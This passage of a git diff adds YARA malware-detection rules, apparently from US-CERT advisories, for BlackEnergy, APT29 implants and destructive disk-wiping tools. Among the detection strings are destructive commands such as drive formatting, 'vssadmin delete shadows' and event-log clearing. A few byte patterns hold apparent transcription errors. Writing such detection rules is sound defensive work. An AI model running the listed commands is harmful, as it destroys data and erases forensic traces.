+73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35
+00 31 00 32 00 20 00 28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00
+30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F
+00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74
+00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 34 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F
+00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00
+6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65
+00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00
+0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00
+00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00
+00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04}
+
+condition:
+	(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (((any of ($a*)) and (uint32(uint32(0x3C)+8) == 0x00000000)) or (for any of ($b*): ($ in (uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+20))..(uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)- 1)+20))+uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+16)))))))
+}
+
+rule IMPLANT_4_v4
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$DK_format1 = "/c format %c: /Y /Q" ascii
+	$DK_format2 = "/c format %c: /Y /X /FS:NTFS" ascii
+	$DK_physicaldrive = "PhysicalDrive%d" wide
+	$DK_shutdown = "shutdown /r /t %d"
+	$MZ = {4d 5a}
+
+condition:
+	$MZ at 0 and all of ($DK*)
+}
+
+rule IMPLANT_4_v5
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$GEN_HASH = {0F BE C9 C1 C0 07 33 C1}
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_4_v6
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = "DispatchCommand" wide ascii
+	$STR2 = "DispatchEvent" wide ascii
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_4_v7
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$sb1 = {C7 [1-5] 33 32 2E 64 C7 [1-5] 77 73 32 5F 66 C7 [1-5] 6C 6C}
+	$sb2 = {C7 [1-5] 75 73 65 72 C7 [1-5] 33 32 2E 64 66 C7 [1-5] 6C 6C}
+	$sb3 = {C7 [1-5] 61 64 76 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
+	$sb4 = {C7 [1-5] 77 69 6E 69 C7 [1-5] 6E 65 74 2E C7 [1-5] 64 6C 6C}
+	$sb5 = {C7 [1-5] 73 68 65 6C C7 [1-5] 6C 33 32 2E C7 [1-5] 64 6C 6C}
+	$sb6 = {C7 [1-5] 70 73 61 70 C7 [1-5] 69 2E 64 6C 66 C7 [1-5] 6C}
+	$sb7 = {C7 [1-5] 6E 65 74 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
+	$sb8 = {C7 [1-5] 76 65 72 73 C7 [1-5] 69 6F 6E 2E C7 [1-5] 64 6C 6C}
+	$sb9 = {C7 [1-5] 6F 6C 65 61 C7 [1-5] 75 74 33 32 C7 [1-5] 2E 64 6C 6C}
+	$sb10 = {C7 [1-5] 69 6D 61 67 C7 [1-5] 65 68 6C 70 C7 [1-5] 2E 64 6C 6C}
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 3 of them
+}
+
+rule IMPLANT_4_v8
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4 33 C9 03 D0 4A 41
+3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66
+C7 04 03 5C 20 56 57 8D 3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50 68
+00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9 7C F8 5B 83 EC 04 8B D4 50
+6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF 57 18}
+	$f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08 2B 45 10 89 45 E8
+33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00 8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC
+8B 42 04 83 E8 08 D1 E8 89 45 F8 8B 4D EC 83 C1 08 89 4D FC}
+	$f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF 66 8B 18 66 81 FB
+4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66 8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83
+EC 60 8B FC B9 60 00 00 00 F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68
+65 6C 54 FF 57}
+	$a1 = {83 EC 04 60 E9 1E 01 00 00}
+
+condition:
+	$a1 at pe.entry_point or any of ($f*)
+}
+
+rule IMPLANT_4_v9
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$a = "wevtutil clear-log" ascii wide nocase
+	$b = "vssadmin delete shadows" ascii wide nocase
+	$c = "AGlobal\\23d1a259-88fa-41df-935f-cae523bab8e6" ascii wide nocase
+	$d = "Global\\07fd3ab3-0724-4cfd-8cc2-60c0e450bb9a" ascii wide nocase
+	//$e = {57 55 33 c9 51 8b c3 99 57 52 50}
+	$openPhysicalDiskOverwriteWithZeros = { 57 55 33 C9 51 8B C3 99 57 52 50 E8 ?? ?? ?? ?? 52 50
+E8 ?? ?? ?? ?? 83 C4 10 84 C0 75 21 33 C0 89 44 24 10 89 44 24 14 6A 01 8B C7 99 8D 4C 24 14 51 52
+50 56 FF 15 ?? ?? ?? ?? 85 C0 74 0B 83 C3 01 81 FB 00 01 00 00 7C B6 }
+	$f = {83 c4 0c 53 53 6a 03 53 6a 03 68 00 00 00 c0}
+
+condition:
+	($a and $b) or $c or $d or ($openPhysicalDiskOverwriteWithZeros and $f)
+}
+
+rule IMPLANT_4_v10
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+strings:
+	$ = {A1B05C72}
+	$ = {EB3D0384}
+	$ = {6F45594E}
+	$ = {71815A4E}
+	$ = {D5B03E72}
+	$ = {6B43594E}
+	$ = {F572993D}
+	$ = {665D9DC0}
+	$ = {0BE7A75A}
+	$ = {F37443C5}
+	$ = {A2A474BB}
+	$ = {97DEEC67}
+	$ = {7E0CB078}
+	$ = {9C9678BF}
+	$ = {4A37A149}
+	$ = {8667416B}
+	$ = {0A375BA4}
+	$ = {DC505A8D}
+	$ = {02F1F808}
+	$ = {2C819712}
+
+condition:
+	uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550 and 15 of them
+}
+
+rule IMPLANT_4_v11
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$ = "/c format %c: /Y /X /FS:NTFS"
+	$ = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
+	$ = ".dll.exe.xml.ttf.nfo.fon.ini.cfg.boot.jar" wide
+	$ =".crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cfg.boot.txt.rar.msi.zip.jpg.bmp.jpeg.tiff" wide
+	$tempfilename = "%ls_%ls_%ls_%d.~tmp" ascii wide
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 2 of them
+}
+
+rule IMPLANT_4_v12
+{
+meta:
+      author = "US-CERT"
+      description = "BlackEnergy / Voodoo Bear"
+      reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$CMP1 = {81 ?? 4D 5A 00 00 }
+	//$SUB1 = {81 ?? 00 10 00 00}
+	$CMP2 = {66 81 38 4D 5A}
+	$SUB2 = {2D 00 10 00 00}
+	$HAL = "HAL.dll"
+	$OUT = {E6 64 E9 ?? ?? FF FF}
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and ($CMP1 or $CMP2) and /*($SUB1 or*/ $SUB2/*)*/ and $OUT and $HAL
+}
+
+rule IMPLANT_4_v13
+{
+meta:
+	author = "US-CERT"
+	description = "BlackEnergy / Voodoo Bear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$XMLDOM1 = {81 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
+	$XMLDOM2 = {90 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60}
+	$XMLPARSE = {8B 06 [0-2] 8D 55 ?C 52 FF 75 08 [0-2] 50 FF 91 04 01 00 00 66 83 7D ?C FF 75 3? 8B 06 [0-2] 8D 55 F? 52 50 [0-2] FF 51 30 85 C0 78 2?}
+	$EXP1 = "DispatchCommand"
+	$EXP2 = "DispatchEvent"
+	$BDATA = {85 C0 74 1? 0F B7 4? 06 83 C? 28 [0-6] 72 ?? 33 C0 5F 5E 5B 5D C2 08 00 8B 4? 0? 8B 4? 0? 89 01 8B 4? 0C 03 [0-2] EB E?}
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
diff --git a/yara-mikesxrs/US CERT/APT29_IMPLANT_10.yara b/yara-mikesxrs/US CERT/APT29_IMPLANT_10.yara
new file mode 100644
index 0000000..0b2eaf0
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT29_IMPLANT_10.yara	
@@ -0,0 +1,31 @@
+rule IMPLANT_10_v1
+{
+meta:
+	author = "US-CERT"
+	description = "ACozyDuke, CozyCar, CozyBear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$MZ = "MZ"
+	$STR1 = {33 ?? 83 F2 ?? 81 e2 ff 00 00 00}
+	$STR2 = {0f be 14 01 33 d0 ?? f2 [1-4] 81 e2 ff 00 00 00 66 89 [6] 40 83 f8 ?? 72}
+
+condition:
+	$MZ at 0 and ($STR1 or $STR2)
+}
+
+rule IMPLANT_10_v2
+{
+meta:
+	author = "US-CERT"
+	description = "ACozyDuke, CozyCar, CozyBear"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$MZ = "MZ"
+	$xor = { 34 ?? 66 33 C1 48 FF C1 }
+	$nop = { 66 66 66 66 66 66 0f 1f 84 00 00 00 00 00}
+
+condition:
+	$MZ at 0 and $xor and $nop
+}
diff --git a/yara-mikesxrs/US CERT/APT29_IMPLANT_11.yara b/yara-mikesxrs/US CERT/APT29_IMPLANT_11.yara
new file mode 100644
index 0000000..1855efc
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT29_IMPLANT_11.yara	
@@ -0,0 +1,20 @@
+rule IMPLANT_11_v1
+{
+meta:
+	author = "US-CERT"
+	description = "MiniDuke"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = {63 74 00 00} // ct
+	$STR2 = {72 6F 74 65} // rote
+	$STR3 = {75 61 6C 50} // triV
+	$STR4 = {56 69 72 74} // Plau
+	//$STR5 = { e8 00 00 00 00 }
+	$STR6 = { 64 FF 35 00 00 00 00 }
+	$STR7 = {D2 C0}
+	$STR8 = /\x63\x74\x00\x00.{3,20}\x72\x6F\x74\x65.{3,20}\x75\x61\x6C\x50.{3,20}\x56\x69\x72\x74/
+
+condition:
+	(uint16(0) == 0x5A4D) and /*#STR5 > 4 and*/ all of them
+}
diff --git a/yara-mikesxrs/US CERT/APT29_IMPLANT_12.yara b/yara-mikesxrs/US CERT/APT29_IMPLANT_12.yara
new file mode 100644
index 0000000..3548963
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT29_IMPLANT_12.yara	
@@ -0,0 +1,13 @@
+rule IMPLANT_12_v1
+{
+meta:
+	author = "US-CERT"
+	description = "CosmicDuke"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$FUNC = {a1 [3-5] 33 c5 89 [2-3] 56 57 83 [4-6] 64}
+
+condition:
+	(uint16(0) == 0x5A4D) and $FUNC
+}
diff --git a/yara-mikesxrs/US CERT/APT29_IMPLANT_7.yara b/yara-mikesxrs/US CERT/APT29_IMPLANT_7.yara
new file mode 100644
index 0000000..ef1cce2
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT29_IMPLANT_7.yara	
@@ -0,0 +1,15 @@
+rule IMPLANT_7_v1
+{
+meta:
+	author = "US-CERT"
+	description = "APT29 implant7"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$MZ = "MZ"
+	$STR1 = { 8A 44 0A 03 32 C3 0F B6 C0 66 89 04 4E 41 3B CF 72 EE }
+	$STR2 = { F3 0F 6F 04 08 66 0F EF C1 F3 0F 7F 04 11 83 C1 10 3B CF 72 EB }
+
+condition:
+	$MZ at 0 and ($STR1 or $STR2)
+}
diff --git a/yara-mikesxrs/US CERT/APT29_IMPLANT_8.yara b/yara-mikesxrs/US CERT/APT29_IMPLANT_8.yara
new file mode 100644
index 0000000..0c96b62
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT29_IMPLANT_8.yara	
@@ -0,0 +1,40 @@
+rule IMPLANT_8_v1
+{
+meta:
+	author = "US-CERT"
+	description = "APT29  HAMMERTOSS / HammerDuke"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$DOTNET = "mscorlib" ascii
+	$REF_URL = "https://www.google.com/url?sa=" wide
+	$REF_var_1 = "&rct=" wide
+	$REF_var_2 = "&q=&esrc=" wide
+	$REF_var_3 = "&source=" wide
+	$REF_var_4 = "&cd=" wide
+	$REF_var_5 = "&ved=" wide
+	$REF_var_6 = "&url=" wide
+	$REF_var_7 = "&ei=" wide
+	$REF_var_8 = "&usg=" wide
+	$REF_var_9 = "&bvm=" wide
+	$REF_value_1 = "QFj" wide
+	$REF_value_2 = "bv.81" wide
+
+condition:
+	(uint16(0) == 0x5A4D) and ($DOTNET) and ($REF_URL) and (3 of ($REF_var*)) and (1 of($REF_value*))
+}
+
+rule IMPLANT_8_v2
+{
+meta:
+	author = "US-CERT"
+	description = "APT29  HAMMERTOSS / HammerDuke"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$DOTNET= "mscorlib" ascii
+	$XOR = {61 20 AA 00 00 00 61}
+
+condition:
+	(uint16(0) == 0x5A4D) and all of them
+}
diff --git a/yara-mikesxrs/US CERT/APT29_IMPLANT_9.yara b/yara-mikesxrs/US CERT/APT29_IMPLANT_9.yara
new file mode 100644
index 0000000..7187915
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT29_IMPLANT_9.yara	
@@ -0,0 +1,15 @@
+rule IMPLANT_9_v1
+{
+meta:
+	author = "US-CERT"
+	description = "APT29  OnionDuke"
+	reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+strings:
+	$STR1 = { 8B 03 8A 54 01 03 32 55 FF 41 88 54 39 FF 3B CE 72 EE }
+	$STR2 = { 8B C8 83 E1 03 8A 54 19 08 8B 4D 08 32 54 01 04 40 88 54 38 FF 3B C6 72 E7 }
+	$STR3 = { 8B 55 F8 8B C8 83 E1 03 8A 4C 11 08 8B 55 FC 32 0C 10 8B 17 88 4C 02 04 40 3B 06 72 E3 }
+
+condition:
+	(uint16(0) == 0x5A4D or uint16(0)) and all of them
+}
diff --git a/yara-mikesxrs/US CERT/APT29_unidentified.yara b/yara-mikesxrs/US CERT/APT29_unidentified.yara
new file mode 100644
index 0000000..51b2b81
--- /dev/null
+++ b/yara-mikesxrs/US CERT/APT29_unidentified.yara	
@@ -0,0 +1,23 @@
+rule unidentified_malware_two
+{
+meta:
+  Author = "US-CERT Code Analysis Team"
+  Date = "16JAN17"
+  Incident = "10105049"
+  File = "9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5"
+  MD5 = "617BA99BE8A7D0771628344D209E9D8A"
+  reference = "https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf"
+
+
+strings:
+  $my_string_one = "/zapoy/gate.php"
+  $my_string_two = { E3 40 FE 45 FD 0F B6 45 FD 0F B6 14 38 88 55 FF 00 55 FC 0F B6 45 FC 8A 14 38 88 55 FE 0F B6 45 FD 88 14 38
+0F B6 45 FC 8A 55 FF 88 14 38 8A 55 FF 02 55 FE 8A 14 3A 8B 45 F8 30 14 30 }
+  $my_string_three = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb"
+  $my_string_four = { 8B CF 0F AF CE 8B C6 99 2B C2 8B 55 08 D1 F8 03 C8 8B 45 FC 03 C2 89 45 10 8A 00 2B CB 32 C1 85 DB 74 07 }
+  $my_string_five = "fuckyou1"
+  $my_string_six = "xtool.exe"
+
+condition:
+  ($my_string_one and $my_string_two) or ($my_string_three or $my_string_four) or ($my_string_five and $my_string_six)
+}
diff --git a/yara-mikesxrs/US CERT/Destructive_Hard_Drive_Tool.yar b/yara-mikesxrs/US CERT/Destructive_Hard_Drive_Tool.yar
new file mode 100644
index 0000000..b05a2ec
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Destructive_Hard_Drive_Tool.yar	
@@ -0,0 +1,21 @@
+import "pe"
+rule Destructive_Hard_Drive_Tool
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$str0= "MZ"
+
+		$str1 = {c6 84 24 ?? ( 00 | 01 ) 00 00 }
+
+		$xorInLoop = { 83 EC 20 B9 08 00 00 00 33 D2 56 8B 74 24 30 57 8D 7C 24 08 F3 A5 8B 7C 24 30 85 FF 7E 3A 8B 74 24 2C 8A 44 24 08 53 8A 4C 24 21 8A 5C 24 2B 32 C1 8A 0C 32 32 C3 32 C8 88 0C 32 B9 1E 00 00 00 8A 5C 0C 0C 88 5C 0C 0D 49 83 F9 FF 7F F2 42 88 44 24 0C 3B D7 7C D0 5B 5F 5E 83 C4 20 C3 }
+
+	condition:
+
+		$str0 at 0 and $xorInLoop and #str1 > 300
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool.yar b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool.yar
new file mode 100644
index 0000000..2bd60ba
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool.yar	
@@ -0,0 +1,15 @@
+/*
+rule Destructive_Target_Cleaning_Tool
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$s1  = {d3000000 [4] 2c000000 [12] 95000000 [4] 6a000000 [8] 07000000}
+
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+
+}
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_2.yar b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_2.yar
new file mode 100644
index 0000000..93755e4
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_2.yar	
@@ -0,0 +1,15 @@
+rule Destructive_Target_Cleaning_Tool_2
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+        
+	strings:
+
+		$secureWipe= "{ 83 EC 34 53 55 8B 6C 24 40 56 57 83 CE FF 55 C7 44 24 2C D3 00 00 00 C7 44 24 30 2C 00 00 00 89 74 24 34 89 74 24 38 C7 44 24 3C 95 00 00 00 C7 44 24 40 6A 00 00 00 89 74 24 44 C7 44 24 14 07 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 89 44 24 1C 0F 84 (D8 | d9) 01 00 00 33 FF 68 00 00 01 00 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF 89 5C 24 14 0F 84 (BC | BD) 01 00 00 8B 44 24 1C A8 01 74 0A 24 FE 50 55 FF 15 ?? ?? ?? ?? 8B 44 24 4C 2B C7 74 20 48 74 0F 83 E8 02 75 1C C7 44 24 10 03 00 00 00 EB 12 C7 44 24 10 01 00 00 00 89 74 24 28 EB 04 89 7C 24 10 8B 44 24 10 89 7C 24 1C 3B C7 0F 8E ( 5C | 5d ) 01 00 00 8D 44 24 28 89 44 24 4C EB 03 83 CE FF 8B 4C 24 4C 8B 01 3B C6 74 17 8A D0 B9 00 40 00 00 8A F2 8B FB 8B C2 C1 E0 10 66 8B C2 F3 AB EB ( 13 | 14) 33 F6 (E8 | ff 15) ?? ?? ?? ?? 88 04 1E 46 81 FE 00 00 01 00 7C ( EF | ee) 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 C0 55 FF 15 ?? ?? ?? ?? 8B F0 83 FE FF 0F 84 FA 00 00 00 8D 44 24 20 50 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A 02 6A 00 6A FF 56 FF D5 8D 4C 24 18 6A 00 51 6A 01 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 8B 44 24 24 8B 54 24 20 33 FF 33 DB 85 CO 7C 5A 7F 0A 85 D2 76 54 EB 04 8B 54 24 20 8B CA BD 00 00 01 00 2B CF 1B C3 85 C0 7F 0A 7C 04 3B CD 73 04 2B D7 8B EA 8B 44 24 14 8D 54 24 18 6A 00 52 55 50 56 FF 15 ?? ?? ?? ?? 8B 6C 24 18 8B 44 24 24 03 FD 83 D3 00 3B D8 7C BE 7F 08 8B 54 24 20 3B FA 72 B8 8B 2D ?? ?? ?? ?? 8B 5C 24 10 8B 7C 24 1C 8D 4B FF 3B F9 75 17 56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 4C 8B 6C 24 48 47 83 C1 04 3B FB 8B 5C 24 14 89 7C 24 1C 89 4C 24 4C 0F 8C ( AE | AD) FE FF FF 6A 00 55 E8 ?? ?? ?? ?? 83 C4 08 53 FF 15 ?? ?? ?? ?? 5F 5E 5D 5B 83 C4 34 C3}"
+
+	condition:
+
+		$secureWipe
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_3.yar b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_3.yar
new file mode 100644
index 0000000..1202565
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_3.yar	
@@ -0,0 +1,17 @@
+rule Destructive_Target_Cleaning_Tool_3
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$S1_CMD_Arg = "/install" fullword
+		//$S2_CMD_Parse= ""\""%s'"'  /install \""%s\""'"' fullword
+		//$S3_CMD_Builder= ""\'"'%s\""  \""%s\'"' \""%s\'"' %s'"' fullword
+
+condition:
+
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_5.yar b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_5.yar
new file mode 100644
index 0000000..5467c54
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_5.yar	
@@ -0,0 +1,14 @@
+rule Destructive_Target_Cleaning_Tool_5
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+	
+    strings:
+		$MCU_DLL_ZLIB_COMPRESSED2= "{5CECABAE813CC9BCD5A542F454910428343479806F71D5521E2AOD}"
+
+	condition:
+		all of them
+}
+
diff --git a/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_6.yar b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_6.yar
new file mode 100644
index 0000000..c0b3196
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_6.yar	
@@ -0,0 +1,19 @@
+rule Destructive_Target_Cleaning_Tool_6
+
+{
+	meta:
+    
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$MCU_INF_StartHexDec = "{010346080A30D63633000B6263750A5052322A00103D1B570A30E67F2A00130952690A50 3A0D2A000E00A26El5104556766572636C7669642E657865}"
+
+		$MCU_INF_StartHexEnc = "{6C3272386958BF075230780A0A54676166024968790C7A6779588F5E47312739310163615B3D59686721CF5F2120263ElF5413531FlE004543544C55}"
+
+condition:
+
+$MCU_INF_StartHexEnc or $MCU_INF_StartHexDec
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_7.yar b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_7.yar
new file mode 100644
index 0000000..2e2e4a2
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_7.yar	
@@ -0,0 +1,15 @@
+rule Destructive_Target_Cleaning_Tool_7
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$ = "SetFilePointer"
+		$ = "SetEndOfFile"
+		$ = "{75 17 56 ff 15 ?? ?? ?? ?? 6a 00 6a 00 6a 00 56 ffD5 56 ff 15?? ?? ?? ?? 56}"
+
+	condition:
